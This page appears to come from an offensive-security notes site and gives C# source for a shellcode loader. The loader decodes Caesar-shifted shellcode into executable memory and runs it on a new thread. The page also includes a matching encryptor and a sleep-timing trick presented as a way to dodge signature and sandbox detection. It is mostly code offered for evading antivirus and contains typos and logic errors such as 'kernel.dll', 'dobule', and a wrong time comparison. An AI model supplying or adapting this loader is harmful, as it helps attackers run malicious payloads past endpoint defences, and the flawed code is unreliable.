> For the complete documentation index, see [llms.txt](https://hacker-mind.gitbook.io/hacker-mind/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacker-mind.gitbook.io/hacker-mind/payload/bypass-all-the-things/c-runner.md).

# C# Runner

## Using Caesar Cipher:

Bypass Signature detection using encrypted shellcode and custom C# runner.

```csharp
using System;
using System.Collections.Generic;
using System.Text;
using System.Linq;
using System.Threading.Tasks;
using System.Diagnostics;
using System.Runtime.InteropServices;

namespace Runner 
{
    class Program
    {
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
        
        [DllImport("kernel32.dll")]
        static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
        
        [DllImport("kernel.dll")]
        static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
        
            static void Main(string[] args)
            {
                byte[] buff = //new byte[700]{ SHELL CODE }; CHANGE THIS
                for (int i = 0; i < buff.Length; i++)
                {
                    buff[i] = (byte)(((uint)buff[i] - 2) & 0xFF);
                }
                int size = buff.Length;
                IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);
                Marshal.Copy(buff, 0, addr, size);
                IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
                WaitForSingleObject(hThread, 0xFFFFFFFF);
            }
        }
    
    }
```

## Encryptor

```csharp
using System;
using System.Collections.Generic;
using System.Text;
using System.Linq;
using System.Threading.Tasks;

namespace CaesarEncrypt
{
    class Program
    {
        static void Main(string[] args)
        {
            byte[] buff = // new byte[700]{...SHELL CODE...}
            byte[] encoded = new byte[buff.Length];
            for (int i = 0, i < buff.Length; i++)
            {
                    encoded[i] = (byte)(((uint)buff[i] + 2) & 0xFF);
            }
            
            
            StringBuilder hexCode = new StringBuilder(encoded.Length * 2);
            foreach (byte x in encoded)
            {
                hexCode.AppendFormat("0x{0:x2}, ", x);
            }
            
            Console.WriteLine("Encrypted ShellCode:" + hexCode.ToString());
            
        }
    }
}
```

Bypass Heuristic Scan with Delay

{% hint style="info" %}
Sleep function will detected by sandbox, and can pass the delay when inspecting our shell.
{% endhint %}

```csharp
...<snip>...

static extern void Sleep(uint dwMillioSeconds);

static void Main(string[] args)
{
    DateTime time1 = DateTime.Now;
    Sleep(3000);
    dobule time2 = DateTIme.Now.Subtract(time1).TotalSeconds;
    if (time1 < 2.5)
    {
        return;
    }
    
    ...<snip>...
```